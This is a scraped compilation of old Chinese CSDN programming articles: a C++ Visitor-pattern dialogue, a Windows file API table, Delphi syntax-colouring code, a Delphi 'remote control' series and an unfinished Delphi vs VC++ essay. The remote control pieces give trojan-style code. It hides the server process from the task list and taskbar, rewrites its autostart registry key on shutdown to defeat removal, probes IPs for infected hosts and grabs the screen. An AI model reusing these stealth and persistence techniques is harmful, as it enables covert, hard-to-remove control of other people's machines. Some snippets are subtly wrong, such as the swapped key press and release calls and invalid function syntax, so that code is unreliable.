糟糕的是，我不能增加这么一个虚函数。我知道可以用RTTI给出一个解决方案：

void f( Officer &o )
{
if( dynamic_cast<Captain*>(&o) )
/* do one thing */
else if( dynamic_cast<First*>(&o) )
/* do another thing */
}

int main()
{
Captain k;
First s;
f( k );
f( s );
}
但是我知道使用RTTI是公司编码标准所排斥的行为，我对自己说：“是的，虽然我以前不喜欢RTTI，但是这回我得改变对它的看法了。很显然，除了使用RTTI，别无它法。”

“任何问题都可以通过增加间接层次的方法解决。”

我噌地一下跳起来，那是大虾的声音，她不知道什么时候跑到我背后，“啊哟，您吓了我一跳...您刚才说什么？”

“任何问...”

“是的，我听清楚了，”我也不知道哪来的勇气，居然敢打断她，“我只是不知道您从哪冒出来的。”其实这话只不过是掩饰我内心的慌张。

“哈，算了吧，小菜鸟，”大虾斜着眼看着我，“你以为我不知道你心里想什么！”她把声音提高了八度，直盯着我，“那些可怜的C语言门徒才会使用switch语句处理不同的对象类型。你看：”

/* A not-atypical C program */
void f(struct someStruct *s)
{
switch(s->type) {
case APPLE:
/* do one thing */
break;
case ORANGE:
/* do another thing */
break;
/* ... etc. ... */
}
}
“这些人学习Stroustrup教主的C++语言时，最重要的事情就是学习如何设计好的类层次。”

“没错，”我又一次打断她，迫不及待地想让Wendy明白，我还是有两下子的，“他们应该设计一个Fruit基类，派生出Apple和Orange，用virtual function来作具体的事情。

“很好，小菜鸟。C语言门徒通常老习惯改不掉。但是，你应该知道，通过使用virtual function，你增加了一个间接层次。”她放下笔，“你所需要的不就是一个新的虚函数吗？”

“是的。可是我没有权力这么干。”

“因为你无权修改类层次，对吧！”

“您终于了解了情况，我们没法动它。也不知道这个该死的类层次是哪个家伙设计的...” 我嘀嘀咕咕着。

“是我设计的。”

“啊...，真的？！这个，嘿嘿...”，我极为尴尬。

“这个类层次必须非常稳定，因为有跨平台的问题。但是它的设计允许你增加新的virtual function，而不必烦劳RTTI。你可以通过增加一个间接层次的办法解决这个问题。请问，Personnel::Accept是什么?”

”嗯，这个...”

“这个类实现了一个模式，可惜这个模式的名字起得不太好，是个PNP，叫Visitor模式。”

[译者注：PNP，Poor-Named Pattern, 没起好名字的模式]

“啊，我刚刚读过Visitor模式。但是那只不过是允许若干对象之间相互迭代访问的模式，不是吗？”

她叹了一口气，“这是流行的错误理解。那个V，我觉得毋宁说是Visitor，还不如说是Virtual更好。这个PNP最重要的用途是允许在不改变类层次的前提下，向已经存在的类层次中增加新的虚函数。首先来看看Personnel及其派生类的Accept实现细节。”她拿起笔写下：

void Personnel::Accept( PersonnelV& v )
{ v.Visit( *this ); }

void Officer::Accept ( PersonnelV& v )
{ v.Visit( *this ); }

void Captain::Accept ( PersonnelV& v )
{ v.Visit( *this ); }

void First::Accept ( PersonnelV& v )
{ v.Visit( *this ); }
“Visitor的基类如下：”

class PersonnelV/*isitor*/
{
public:
virtual void Visit( Personnel& ) = 0;
virtual void Visit( Officer& ) = 0;
virtual void Visit( Captain& ) = 0;
virtual void Visit( First& ) = 0;
};
“啊，我记起来了。当我要利用Personnel类层次的多态性时，我只要调用Personnel::Accept(myVisitorObject)。由于Accept是虚函数，我的myVisitorObject.Visit()会针对正确的对象类型调用，根据重载法则，编译器会挑选最贴切的那个Visit来调用。这不相当于增加了一个新的虚拟函数了吗？”

“没错，小菜鸟。只要类层次支持Accept，我们就可以在不改动类层次的情况下增加新的虚函数了。”

“好了，我现在知道该怎么办了”，我写道：

class DoSomething : public PersonnelV
{
public:
virtual void Visit( Personnel& );
virtual void Visit( Officer& );
virtual void Visit( Captain& );
virtual void Visit( First& );
};

void DoSomething::Visit( Captain& c )
{
if( femaleGuestStarIsPresent )
c.TurnOnCharm();
else
c.StartFight();
}

void DoSomething::Visit( First& f )
{
f.RaiseEyebrowAtCaptainsBehavior();
}
void f( Personnel& p )
{
p.Accept( DoSomething() ); // 相当于 p.DoSomething()
}

int main()
{
Captain k;
First s;

f( k );
f( s );
}
大虾满意地笑了，“也许这个模式换一个名字会更好理解，可惜世事往往不遂人意...”。


CSDN_文档中心_与文件相关Api函数列表

Api函数列表
 ——与文件相关

Api函数名 | 函数说明 | 适用范围
 |  | W3.x | W95 | NT
mmioWrite | 写文件 | 否 | 是 | 是
WriteFile | 写文件 | 否 | 是 | 是
ExtractAssociatedIcon | 从文件或相关EXE中获取图标句柄 | 否 | 是 | 是
ExtractIcon | 从可执行文件中返回图标句柄 | 否 | 是 | 是
LZRead | 从压缩文件中读入数据 | 是 | 是 | 是
GetPrivateProfileString | 从私有文件中获取字符串 | 是 | 是 | 是
GetPrivateProfileInt | 从私有文件中获取整数 | 是 | 是 | 是
UnlockFile | 开锁文件 | 否 | 是 | 是
UnlockFileEx | 开锁文件 | 否 | 是 | 是
LZOpenFile | 打开文件 | 是 | 是 | 是
mmioOpen | 打开多媒体文件 | 否 | 是 | 是
SetFileApisToOEM | 设置文件API为OEM字符集 | 否 | 是 | 是
SetFileSecurity | 设置文件或目录安全属性 | 否 | 是 | 是
FindFirstChangeNotification | 设置文件或目录修改等待 | 否 | 是 | 是
SetFileTime | 设置文件的64位时间 | 否 | 是 | 是
mmioSetInfo | 设置文件信息 | 否 | 是 | 是
SetTextColor | 设置文件前颜色 | 是 | 是 | 是
SetFilePointer | 设置文件指针位置 | 否 | 是 | 是
SetFileAttributes | 设置文件属性 | 否 | 是 | 是
SetFileApisToOEM | 设置文件API为OEM字符集 | 否 | 是 | 是
SetFileSecurity | 设置文件或目录安全属性 | 否 | 是 | 是
FindFirstChangeNotification | 设置文件或目录修改等待 | 否 | 是 | 是
SetFileTime | 设置文件的64位时间 | 否 | 是 | 是
mmioSetInfo | 设置文件信息 | 否 | 是 | 是
SetTextColor | 设置文件前颜色 | 是 | 是 | 是
SetFilePointer | 设置文件指针位置 | 否 | 是 | 是
SetFileAttributes | 设置文件属性 | 否 | 是 | 是
DeleteFile | 删除文件 | 否 | 是 | 是
mmioSeek | 改变当前文件位置 | 否 | 是 | 是
MoveFile | 更名文件 | 否 | 是 | 是
MoveFileEx | 更名文件 | 否 | 是 | 是
GetFileTime | 返回文件64位时间 | 否 | 是 | 是
GetFileTitle | 返回文件名 | 否 | 是 | 是
GetVolumeInformation | 返回文件系统信息 | 否 | 是 | 是
GetFileVersionInfo | 返回文件的版本信息 | 否 | 是 | 是
GetFullPathName | 返回文件的路径名 | 否 | 是 | 是
GetFileInformationByHandle | 返回文件信息 | 否 | 是 | 是
GetFileType | 返回文件类型 | 否 | 是 | 是
GetFileAttributes | 返回文件属性 | 否 | 是 | 是
GetShortPathName | 返回文件短路径 | 否 | 是 | 是
mmioRead | 读入文件 | 否 | 是 | 是
ReadFile | 读文件 | 否 | 是 | 是
WriteFileEx | 写文件 | 否 | 是 | 是


CSDN_文档中心_语法高亮

在 RichEdit 中实现代码着色

下面的代码将以指定颜色对一些指定单词着色，就象delphi中的代码编辑器那样。

procedure CodeColors(Form : TForm;Style : String; RichE : TRichedit;
                         InVisible : Boolean);
const
  // 符号...
  CodeC1: array[0..20] of String = ('#','$','(',')','*',',',
          '.','/',':',';','[',']','{','}','<','>',
          '-','=','+','''','@');
  // 保留字...
  CodeC2: array[0..44] of String = ('and','as','begin',
          'case','char','class','const','downto',
          'else','end','except','finally','for',
          'forward','function','if','implementation','interface',
          'is','nil','or','private','procedure','public','raise',
          'repeat','string','to','try','type','unit','uses','var',
          'while','external','stdcall','do','until','array','of',
          'in','shr','shl','cos','div');
var
  FoundAt : LongInt;
  StartPos, ToEnd, i : integer;
  OldCap,T : String;
  FontC, BackC, C1, C2 ,C3 ,strC, strC1 : TColor;
begin
  OldCap := Form.Caption;
  with RichE do
  begin
    Font.Name := 'Courier New';
    Font.Size := 10;
    if WordWrap then WordWrap := false;
    SelectAll;
    SelAttributes.color := clBlack;
    SelAttributes.Style := [];
    SelStart := 0;
    if InVisible then
    begin
      Visible := False;
      Form.Caption := 'Executing Code Coloring...';
    end;
  end;

  BackC := clWhite; FontC := clBlack;
  C1 := clBlack; C2 := clBlack; C3 := clBlack;
  strC := clBlue; strC1 := clSilver;

  if Style = 'Twilight' then
  begin
    BackC := clBlack; FontC := clWhite;
    C1 := clLime; C2 := clSilver; C3 := clAqua;
    strC := clYellow; strC1 := clRed;
  end
  else
  if Style = 'Default' then
  begin
    BackC := clWhite; FontC := clBlack;
    C1 := clTeal; C2 := clMaroon; C3 := clBlue;
    strC := clMaroon; strC1 := clSilver;
  end
  else
  if Style = 'Ocean' then
  begin
    BackC := $00FFFF80; FontC := clBlack;
    C1 := clMaroon; C2 := clBlack; C3 := clBlue;
    strC := clTeal; strC1 := clBlack;
  end
  else
  if Style = 'Classic' then
  begin
    BackC := clNavy; FontC := clYellow;
    C1 := clLime; C2 := clSilver; C3 := clWhite;
    strC := clAqua; strC1 := clSilver;
  end
  else
  begin
    with RichE do
    begin
      T := '{'+Style+' = Invalid Style [Default,Classic,Twilight,Ocean] ONLY! }';
      Lines.Insert(0,T);
      StartPos := 0;
      ToEnd := Length(Text) - StartPos;
      FoundAt := FindText(T, StartPos, ToEnd, [stWholeWord]);
      SelStart := FoundAt;
      SelLength := Length(T);
      SelAttributes.Color := clRed;
      SelAttributes.Style := [fsBold];
      StartPos := 0;
      ToEnd := Length(Text) - StartPos;
      FoundAt := FindText('ONLY!', StartPos, ToEnd, [stWholeWord]);
      SelStart := FoundAt;
      SelLength := 4;
      SelAttributes.Color := clRed;
      SelAttributes.Style := [fsBold,fsUnderLine];
    end;
  end;

  RichE.SelectAll;
  RichE.color := BackC;
  RichE.SelAttributes.color := FontC;

  for i := 0 to 100 do
  begin
    with RichE do
    begin
      StartPos := 0;
      ToEnd := Length(Text) - StartPos;
      FoundAt := FindText(IntToStr(i), StartPos, ToEnd, [stWholeWord]);
      while (FoundAt <> -1) do
      begin
        SelStart := FoundAt;
        SelLength := Length(IntToStr(i));
        SelAttributes.Color := C1;
        SelAttributes.Style := [];
        StartPos := FoundAt + Length(IntToStr(i));
        FoundAt := FindText(IntToStr(i), StartPos, ToEnd, [stWholeWord]);
      end;
    end;
  end;
  for i := 0 to 20 do
  begin
    with RichE do
    begin
      StartPos := 0;
      ToEnd := Length(Text) - StartPos;
      FoundAt := FindText(CodeC1[i], StartPos, ToEnd, []);
      while (FoundAt <> -1) do
      begin
        SelStart := FoundAt;
        SelLength := Length(CodeC1[i]);
        SelAttributes.Color := C2;
        StartPos := FoundAt + Length(CodeC1[i]);
        FoundAt := FindText(CodeC1[i], StartPos, ToEnd, []);
      end;
    end;
  end;
  for i := 0 to 44 do
  begin
    with RichE do
    begin
      StartPos := 0;
      ToEnd := Length(Text) - StartPos;
      FoundAt := FindText(CodeC2[i], StartPos, ToEnd, [stWholeWord]);
      while (FoundAt <> -1) do
      begin
        SelStart := FoundAt;
        SelLength := Length(CodeC2[i]);
        SelAttributes.Color := C3;
        SelAttributes.Style := [fsBold];
        StartPos := FoundAt + Length(CodeC2[i]);
        FoundAt := FindText(CodeC2[i], StartPos, ToEnd, [stWholeWord]);
      end;
    end;
  end;
  Startpos := 0;
  with RichE do
  begin
    FoundAt := FindText('''', StartPos, Length(Text), []);
    while FoundAt <> -1 do
    begin
      SelStart := FoundAt;
      Startpos := FoundAt+1;
      FoundAt := FindText('''', StartPos, Length(Text), []);
      if FoundAt <> -1 then
      begin
        SelLength := (FoundAt - selstart)+1;
        SelAttributes.Style := [];
        SelAttributes.Color := strC;
        StartPos := FoundAt+1;
        FoundAt := FindText('''', StartPos, Length(Text), []);
      end;
    end;
  end;

  Startpos := 0;
  with RichE do
  begin
    FoundAt := FindText('{', StartPos, Length(Text), []);
    while FoundAt <> -1 do
    begin
      SelStart := FoundAt;
      Startpos := FoundAt+1;
      FoundAt := FindText('}', StartPos, Length(Text), []);
      if FoundAt <> -1 then
      begin
        SelLength := (FoundAt - selstart)+1;
        SelAttributes.Style := [];
        SelAttributes.Color := strC1;
        StartPos := FoundAt+1;
        FoundAt := FindText('{', StartPos, Length(Text), []);
      end;
    end;
  end;

  if InVisible then
  begin
    RichE.Visible := True;
    Form.Caption := OldCap;
  end;
  RichE.SelStart := 0;
end;


CSDN_文档中心_远程控制编程揭密

    将远程控制应用于教学中，已成为目前计算机化教学的重要手段。一定有很多的网虫想了解这种网络教学方式的编程原理吧。在此我们就以一个简单的远程控制程序作为示例，说明这种网络编程的基本原理。本程序以Delphi编程为例。

    其实该程序的工作机制很简单，受控方运行一个程序，用于侦听端口并接收数据包，而主控方通过端口给受控方的端口发送数据包。根据这个原理，我们编写两个程序，一个是控制方的，而另一个是受控方的，把这两个程序运行在两台不同的机器上，受控机等待控制机发送过来的数据然后执行相应的操作(如本例中的重启)。

    Delphi中有两类控件可以实现上面的目的。一类是控制方使用ClientSocket，受控方使用ServerSocket(均在Internet页)，另一类是双方都使用NMUDP(在FastNet页)。我们知道网络传输都是不可靠的，也就是说传输的数据有可能丢失，而这两类控件的区别是前者使用TCP(Transfer Control Protocol，传输控制协议)。TCP协议是面向连接,每次双方建立连接(或断开)时需经过三次握手,较为耗时，但数据传输可靠；而后者使用UDP(User Datagram Protocol，用户报文协议)，它是面向无连接的，发出数据不需对方确认，这样速度比TCP快，但数据有可能丢失，因此它不可靠。由于控制所需传送的数据量不大，而且需要较高的可靠性，因此一般使用前者，程序说明如下：

    第一步，开始控制方程序，在其中加入clientsocket控件，取名control，设置host属性为受控机ip地址，port属性为1234(端口可以随便设置，但不要与一些默认端口重复，如80等)。

    第二步，在FormCreate事件中加入代码control.open; //打开与受控机的通信

    第三步，加入个Button，设置caption为“重新启动”，并在ButtonClick事件中加入代码control.Socket.SendText('reboot')；//通知受控机重新启动。这样就完成了控制方的工作了。

    第四步，开始受控方的程序，在其中加入serversocket控件，取名undercontrol,设置port属性为1234(与控制方的端口一致)，active属性为true；

    第五步，在undercontrol的OnclientRead事件中加入代码if Socket.ReceiveText='reboot' then

    ExitWindowsEx(EWX_REBOOT,2); //重启的API函数

    这样就完成了代码的工作，然后编译这两个程序生成两个.exe文件分别放在两台机器上运行(记得先运行Win98下的受控机程序)，在控制机按下“重新启动”的Button(按钮)，受控机就重新启动了。远程控制机器重启成功实现。

    由于篇幅的限制，以上忽略了很多细节的东西(如出错处理)，而且只能完成远程控制的一种功能，有兴趣者可在此基础上完善，可实现网络软件管理中的其它功能，如鼠标、键盘锁定、关机、抓取屏幕、文件操作、视频传输等，在此就不多介绍了，有兴趣者可以上网多查看些这方面的资料。


CSDN_文档中心_远程控制篇：测试IP地址

远程控制篇：测试IP地址

使用 i:=1 to 254 do begin...end即可自动搜索地址
要知道这个IP地址是否中镖，可向它发一个字符串。如果接收到这个IP返回来的预定的字符串，如发出"我是长江"，返回"我是黄河"，就可以控制这个IP地址了

{uses winsock}
function testip(IP:string):string;
var
WSAData:TWSADATA;
Addr:DWORD;
begin
WSAStartup(2, WSAData);
Addr:=inet_addr(PChar(IP));
if gethostbyaddr(@Addr,sizeof(Addr),PF_INET)=nil then
result:=''
else result:=ip;
WSACleanup();
end;

--------------------------------------------
湖北襄樊 官本和(gbh12345@china.com) 2001.4
详见主页源程序：
http://delphi21cn.yeah.net
http://personal.hb.cninfo.net/~gbh


CSDN_文档中心_远程控制篇：服务端程序的隐藏

远程控制篇：服务端程序的隐藏

1 按ctrl+alt+del时不出现在关闭程序框
function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord;
stdcall; external 'KERNEL32.DLL';
不出现
RegisterServiceProcess(GetCurrentProcessID, RSPSIMPLESERVICE)；
出现
RegisterServiceProcess(GetCurrentProcessID, RSPUNREGISTERSERVICE);

2 程序的图标不出现在任务栏
在Application.Initialize;后加上
Application.ShowMainForm:=False;

以上做法在WIN2000下是无效的。
编程软件如VC，DELPHI中都带有进程查看工具。

--------------------------------------------
湖北襄樊 官本和(gbh12345@china.com) 2001.4
详见主页源程序：
http://delphi21cn.yeah.net
http://personal.hb.cninfo.net/~gbh


CSDN_文档中心_远程控制篇：服务端程序关机时的处理

服务端关机时的处理

一般这类程序在运行时，当进行关机操作，其它程序都被关掉了，只有它们不为所动。所以必须对关机消息进行处理。

procedure exitwin(var msg:TWMQUERYENDSESSION);message WM_QUERYENDSESSION;
procedure TServer.exitwin(var msg: TWMQUERYENDSESSION);
begin
inherited;
server.Close;
end;

程序退出时写注册表,防止用regedit或msconfig把服务端程序从注册表中去。这样regedit或msconfig所作的工作白费，除非立即关电源
procedure TServer.FormDestroy(Sender: TObject);
var
reg:Tregistry;
s:string;
begin
s:=application.ExeName;
reg:=Tregistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices',True);
Reg.WriteString(...);
reg.free;
end;

--------------------------------------------
湖北襄樊 官本和(gbh12345@china.com) 2001.4
详见主页源程序：
http://delphi21cn.yeah.net
http://personal.hb.cninfo.net/~gbh


CSDN_文档中心_远程控制篇：获得网络邻居所有机器名

远程控制篇：获得网络邻居所有机器名

procedure TForm1.Button1Click(Sender: TObject);
VAR
command:string ;
comline: pchar ;
begin
command:='COMMAND.COM /C net view>c:\~~~.txt';
comline:=pchar(command);
WinExec(comline, sw_hide);
timer1.Enabled:=true;
end;

每秒试一次
procedure TForm1.Timer1Timer(Sender: TObject);
var f:tstringlist;
ll,ii:integer;
s1,s:string;
b:bool;
begin
f:=tstringlist.Create;
try
f.LoadFromFile('c:\~~~.txt');
except
end;
if f.Count>10 then begin
memo1.Clear;
memo1.lines.add(f.text);
timer1.Enabled:=false;
f.Free;
{去掉多余的行和'\\'}
for ll:=memo1.lines.count-1 downto 0 do begin
if strpos(pchar(memo1.lines.strings[ll]),'\\')=nil then
memo1.lines.delete(ll)
else
memo1.lines.Strings[ll]:=delxxx(memo1.lines.Strings[ll]);
{自编1个去'\\'的函数}
end;
timer1.enabled:=False;
end;

--------------------------------------------
湖北襄樊 官本和(gbh12345@china.com) 2001.4
详见主页源程序：
http://delphi21cn.yeah.net
http://personal.hb.cninfo.net/~gbh


CSDN_文档中心_远程控制篇：模拟按键

远程控制篇：模拟按键

模拟鼠标

鼠标移动(移动量dx,dy)
mouse_event(MOUSEEVENTF_MOVE,dx,dy,0, 0 );
鼠标在(x,y)处按下或释放
setcursorpos(x,y);
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 );
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0 );
鼠标双击由两次按下与释放来模拟

键盘模拟

一般虚拟键值(VK_)由KeyDown或keyup事件得到
特殊键值
Tab--9
Shift--16
Ctrl--17
Alt--18
CapsLock--20
Esc--27
Win--91,92
NumLock--144
ScrollLock--145

按下键
keybd_event(key, MapVirtualKey(key, 0 ), KEYEVENTF_KEYUP , 0 );
释放键
keybd_event(key, MapVirtualKey(key, 0 ), 0 , 0 );
以上做法对大多数键有效，少数键要用到不同的值

--------------------------------------------
湖北襄樊 官本和(gbh12345@china.com) 2001.4
详见主页源程序：
http://delphi21cn.yeah.net
http://personal.hb.cninfo.net/~gbh


CSDN_文档中心_远程控制篇：通过IP地址得到机器名

远程控制篇：通过IP地址得到机器名

function iptoname(ip:string):string;
var
WSAData:TWSAData;
p:PHostEnt;
InetAddr:dword;
begin
WSAStartup(2, WSAData);
InetAddr:= inet_addr(PChar(IP));
try
p:=GetHostByAddr(@InetAddr, Length(IP), PF_Inet);
result:=p^.h_name;
except
result:='';
end;
end;

官本和 2001.4


CSDN_文档中心_远程控制篇：通过机器名得到IP地址 通过IP地址得到机器名

远程控制篇：

通过机器名得到IP地址

function procedure TForm1.nametoip(name:string):string;
var
WSAData: TWSAData;
HostEnt: PHostEnt;
begin
result:='';
WSAStartup(2, WSAData);
HostEnt := gethostbyname(PChar(name));
if HostEnt <> nil then
begin
with HostEnt^ do
result:= Format('%d.%d.%d.%d', [Byte(h_addr^[0]), Byte(h_addr^[1]), Byte(h_addr^[2]), Byte(h_addr^[3])]);
end;
WSACleanup;
end;

通过IP地址得到机器名

function iptoname(ip:string):string;
var
WSAData:TWSAData;
p:PHostEnt;
InetAddr:dword;
begin
WSAStartup(2, WSAData);
InetAddr:= inet_addr(PChar(IP));
try
p:=GetHostByAddr(@InetAddr, Length(IP), PF_Inet);
result:=p^.h_name;
except
result:='';
end;
end;

---------------------------------------------------------

湖北襄樊 官本和(gbh12345@china.com) 2001.4
详见主页源程序：
http://delphi21cn.yeah.net
http://personal.hb.cninfo.net/~gbh


CSDN_文档中心_远程控制篇：抓取远程屏幕图像

远程控制篇：抓取远程屏幕图像

{抓屏幕图像，保存为内存流--BMP流,压缩BMP流,JPG流，以及使用流}
{在网络中传送BMP流和JPG流的速度没测试过}
{BMP流的压缩是无损压缩}
{
全局变量
memoryStream:TMemoryStream;
memoryStream:=TMemoryStream.create;
}

var
image:Timage;
jpgstream:TJPEGImage;
ss:tcanvas;

begin
ss:=tcanvas.Create;
ss.Handle:=getdc(0);
image:=timage.Create(self);
image.width:=Screen.width;
image.Height:=screen.Height ;
image.picture.bitmap.PixelFormat:= pf16bit;
bitblt(image.canvas.handle,0,0,image.width,image.height,ss.handle,0,0,srccopy);

{大大的原始BMP流
image.picture.bitmap.SaveToStream(memoryStream);
}

{无损压缩BMP流 uses Zlib.pas
{先定义变量count,DestStream,SourceStream}
image.picture.bitmap.SaveToStream(memoryStream);
Count:=memoryStream.Size;
DestStream:=TMemoryStream.Create;
{压缩方式:clnone,clfastest,cldefault,clmax}
SourceStream:=TCompressionStream.Create(cldefault, DestStream);
try
memoryStream.SaveToStream(SourceStream);
SourceStream.Free;
memoryStream.Clear;
memoryStream.WriteBuffer(Count, SizeOf(Count));
memoryStream.CopyFrom(DestStream, 0);
finally
DestStream.Free;
end;
}

{JPG流 uses jpeg
jpgstream:= TJPEGImage.Create;
jpgstream.Assign(image.picture.bitmap);
jpgstream.CompressionQuality:=50; {压缩质量}
jpgstream.Compress;
jpgstream.SaveToStream(memoryStream);{保存为JPG流}
jpgstream.free;
}

ReleaseDC(0,ss.Handle);
image.free;

{发送内存流...}

-----------------------------------------------------
{接收内存流...}

{使用BMP流
image.Picture.Bitmap.LoadFromStream(bmpStream);}

{还原压缩的BMP流 uses:Zlib.pas
先定义变量count,buffer,DestStream,SourceStream
memoryStream是压缩的BMP流
memoryStream.ReadBuffer(Count, SizeOf(Count));
GetMem(Buffer, Count);
DestStream:=TMemoryStream.Create;
SourceStream:=TDecompressionStream.Create(memoryStream);
Try
SourceStream.ReadBuffer(Buffer^, Count);
DestStream.WriteBuffer(Buffer^, Count);
DestStream.Position:=0;
image.Picture.Bitmap.LoadFromStream(DestStream);
finally
FreeMem(Buffer);
DestStream.Free;
end;
}

使用JPG流 image.Picture.Assign(jpgstream);

--------------------------------------------
湖北襄樊 官本和(gbh12345@china.com) 2001.4
详见主页源程序：
http://delphi21cn.yeah.net
http://personal.hb.cninfo.net/~gbh


CSDN_文档中心_再谈Delphi vs VC++ (续)

(本来已一次贴上来了，后半部分却不显示，可能是太长了)

(10) 产品质量/稳定性
有文章称“VC++的质量好，稳定性高”。真的是这样吗？Visual Studio的Service Pack
不是都出到4了吗？什么是Service Pack？主要不就是Bug Fix + Patch吗？！Borland
的工具也并不完美，Delphi 3的VCL中确实存在“内存漏洞”，会导致用D3开发的程序
有时(并不总是)退出后不能释放分配的内存。VC++的问题也不少：IE是用VC++写的吧，
上网时多启动几个，开开关关，最后全关闭，看看你的系统资源剩下多少了？还经常导
致“General Protection Error”。Ultra Edit是用VC++写的吧，也有同样的问题。其
实说到底，程序质量好不好，运行稳定不稳定，主要取决于开发者的水平/责任心。比
如说Tomb Raider系列和Quake系列游戏同是用VC++开发的，但画面质量和运行速度显然
Quake系列更胜一筹。象美国航空航天局(NASA)，俄罗斯宇航局(RSA)，美洲银行(Bank
of America，资产超过5000亿美元的大银行)，其他诸如American Airlines，AT&T，
BMW，Compaq，BBC Television，British Telecom等大型机构/公司都在用Delphi开发
复杂的，企业级(可笑的是，有人居然称“用VC开发企业级的桌面应用”，殊不知企业
级应用和桌面应用是相对而言的)的应用系统(在http://community.borland.com
(Borland社团站点)上有关于用Delphi和C++ Builder开发的产品介绍)，如果有人还要
说“...稳定和可靠是硬道理，只好忍痛割爱了”，那他恐怕只好自制开发工具(外带操
作系统)了。:-)
(PS：关于Delphi与某些显卡驱动冲突的问题，是由于某些显卡(如S3 Virge GX)的老版
本驱动程序不能正确处理Windows公用控制中的ImageList的绘制方法造成的，在这种情
况下所有在ImageList中使用多个图象的程序都会有问题)
(PS：至于“一看到很多优秀的共享软件冒出具有Delphi特色的错误异常就感到悲哀”，
建议此人先搞清楚你看到的“错误异常”消息是这些软件本身出错呢，还是运行时的异
常处理消息(比如“没有找到指定文件”或“索引超出范围”之类)再说。Delphi中有完
善的异常处理，所以很多程序员不再写错误处理，而放手让编译器去处理。我认为这不
是一个好习惯，至少弹出的消息对话框可能与你的程序所用的语言/风格不一致。让人
家误会了不是？:-)

(11) 帮助/文档
VC++的帮助和文档确实要比Delphi/C++ Builder的丰富一些。不过这不应当包括MSDN，
因为MSDN是一套独立的产品，并不是专门给VC++准备的，况且其中包括了相当多的
Windows技术资料。作为一名程序员，不管用什么开发工具，可以(也应当)有一套MSDN。
Windows数据结构/APIs是用C风格描述的这一点可能对Delphi程序员来说略有不便，不
过Delphi中已经包括了大多数转换；另外，如果一个程序员连转换.H文件这么简单的工
作都做不了的话，他(她)可能也做不了什么象样的开发。Internet上的一个志愿者组织
(www.delphi-jedi.org/)在这方面也做了大量工作，在他们的站点上有几乎全部有用的
C/C++库.H的Object Pascal翻译。
(PS：Delphi/C++ Builder程序员为什么不可以买一套MSDN呢？毕竟我们还在用M$的操
作系统，总不至于连Windows技术资料都不要了吧)
(PS：从MSDN看M$
MSDN中的技术资料主要是以Compiled HTML(.chm)格式存放的，但M$把全部.chm放在
Disc #1，而把索引文件(.chi)单独放在Disc #2。这样一来就无法从光盘上直接看这些
文件。要么安装，要么手工把相应的.chm和.chi拷贝到一起。我看不有什么技术上的理
由(谁知道请告诉我)不把一半.chm和.chi放在一张盘，而另一半放在第二张盘。这至少
反映出M$内部某些人的阴暗心理)

(12) 国际化支持
VC++中已经包括了十多种语言的RTL资源，Delphi中需要自己做资源本地化。虽然
Franch，German之类的版本中也包括English资源。:-<

(13) 应用领域
VC++在Windows设备驱动开发(毕竟是M$ Windows)和某些桌面应用(比如游戏)开发中用
得较多。Delphi更多应用在数据库/多层结构，多媒体和Internet开发等方面。
(PS：VC++在游戏开发中用得较多我看主要是价格因素，游戏使用专用界面，通常不涉
及数据库和Internet(即使Internet Play也不过是简单的TCP连接，并且DirectPlay中
已包括此项功能)，昂贵的Delphi和C++ Builder显示不出优势。只需要$79的VC++标准
版，DirectX SDK(可免费下栽)，OpenGL文档(也是免费的)，至多再加一套MSDN即可。
比如Quake，全是手写的C代码，连C++特性都很少用到。Borland也认识到了这一问题，
所以发布了免费的C++编译器)

(14) 价格
M$的开发工具确实便宜(相对而言)，不过是否物有所值，只能看你干什么用了。
(PS：别指望你买的TOYOTA能有Ferrari的性能。:-)

(15) 前景
有人认为M$财大气粗，Borland难以对抗。我看不能这么简单下结论。M$有它自己的问
题：法律诉讼，人才流失，资源分散，四面出击(M$现在连鼠标，键盘，游戏杆，玩具
都生产)。而Borland/Inprise集中精力在开发工具，中件产品(如MIDAS，VisiBroker和
Application Server)和企业应用/管理环境(如AppCenter和Security Service)上，应
该还是大有可为的。
况且Borland和M$之间并非纯粹的竞争关系，Borland开发工具给M$ Windows带来的收益
要远大于和M$开发工具竞争带来的损失。毕竟对M$来说，开发工具只占其收入的很少一
部分，即使不搞开发工具也只不过是个面子问题，于M$无损。M$在它面临垄断/不正当
竞争指控的时候，因为长期侵犯知识产权而赔偿给Borland一亿美元(称为“授权费”)，
这多少也可以看作是一种和解的举动吧。
另一种经常听到的论调是“M$的产品市场份额大，Borland能撑得住吗？”，这其实也
有很多问题。鉴于M$出于竞争的目的，经常虚报数字，影响市场(M$的律师在法庭上承
认M$曾夸大过其IE和Office的市场占有率)；M$自己宣传的其开发工具的市场占有率也
很值得怀疑。M$还有重复计算的问题，比如卖掉一套Visual Studio，在计算VB，VC，
VJ等的销售量时都计算在内。其实很多人/公司买Visual Studio只用其中的一两种。其
实Borland产品的销售量还是很大的，尤其是在欧洲，北美和澳大利亚，在亚洲...(是
因为D版太多了)。另外，每个公司都有自己的产品/市场定位，你能因为TOYOTA，Ford，
VolksWagen卖的多就说Ferrari，MacLaren，Benz不行了吗？

4. 结论
Delphi(其实应该说Borland产品)在技术上有优势，VC++(其实应该说M$产品)也占有相
当的市场份额。
(PS：说了半天等于没说。:-)
(PS：M$的C#(读C sharp)能取得突破吗？我看不会。因为M$产品通常达不到所宣传的性
能；而且一种不符合标准(C#不兼容任何一种语言标准，虽然据称更接近C)的产品也很
难取得成功。J++就是一例)

5. 附：我所知道的Borland和M$的故事
(1) Bill Gates是如何拿到IBM订单的
1979年，Tim Paterson写了最初的DOS并以$1000的价格卖给了Digital Reserch。当时
Apple的Apple I和Apple II销势很好，所以IBM在1980年也决定搞PC。Bill Gates知道
后，认为是个机会，就以$5000从Digital Reserch买下了DOS，并逼着手下人在一间没
有空调的小黑屋里日夜不停加以修改。M$当时是个小公司，只有十几个人，名叫
micro-soft。所以尽管DOS的开价($20000加每拷贝$30授权费)比CP/M-86(指用于Intel
8086/8088的版本，不是指年代)的开价($100000加每拷贝$70授权费)便宜不少，IBM的
人还是倾向于使用CP/M-86。据“比尔.盖茨的秘密”(Bill Gates' Secrets)一书的作
者说，Bill急得团团转，只好求助于他妈妈。Bill的母亲时任华盛顿大学校长，与当
